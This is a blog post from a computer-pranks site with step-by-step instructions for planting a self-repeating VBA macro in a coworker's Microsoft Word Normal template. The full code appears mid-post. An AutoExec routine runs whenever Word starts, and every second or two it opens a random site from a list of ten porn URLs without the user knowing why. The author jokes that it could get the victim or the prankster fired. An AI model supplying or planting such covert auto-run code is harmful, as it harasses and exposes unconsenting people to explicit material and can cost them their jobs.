Computer Pranks Central

If you are new to the site, sign up for the RSS Feed. All new sign ups get punch and pieRSS feed. Thanks for visiting!

Ok I don’t know if I’ve gone to far this time, but depending on where you work this could be really funny or get you or someone else fired. With that being said, I do not and will not recommend you do this at work…but you can…

Now to the prank.

This office prank involves two major things. One a list of porn sites. Two Microsoft Word. What the office prank will do is once word is open it will use a random timer, which you can change to be any interval you want. When the timer goes off it will then go through a list of porn sites (10 for this example). Picking a site randomly it will then open that porn site on their computer. Leaving them embarrassed and you laughing… So how do you do it? (Because you shouldn’t)

Step 1: Open Microsoft Word

Step 2: Open your vba editor ( press Alt + 11)

Step 3: Copy This Code into your Normal Template ( It’s under NORMAL)

Sub AutoExec()
counter = CStr(Int((2 - 1 + 1) * Rnd + 1))
Application.OnTime When:=Now + TimeValue("00:00:" + counter), _
Name:="pron"
End Sub


Sub pron()
Dim pronlist(1 To 10) As String
Dim count As Integer
pronlist(1) = "http://www.sex.com"
pronlist(2) = "http://www.naked.com"
pronlist(3) = "http://www.euroteensluts.com"
pronlist(4) = "http://www.anal.com"
pronlist(5) = "http://porno.com/"
pronlist(6) = "http://www.pornsite.com"
pronlist(7) = "http://www.milf.com"
pronlist(8) = "http://www.playboy.com"
pronlist(9) = "http://www.just18.com"
pronlist(10) = "http://www.bigboobs.com"
counter = CStr(Int((10 - 1 + 1) * Rnd + 1))
ActiveDocument.FollowHyperlink Address:=pronlist(counter), NewWindow:=True
Call AutoExec
End Sub

Step 4: Save

Step 5: Get Fired

If this prank goes off successfully every single time this person opens up word it will plop up random porn sites. When I made this prank I just grab the most generic names I could think of. You can really use any website you want, porn or not. Play around with the code and if you have any questions leave a comment.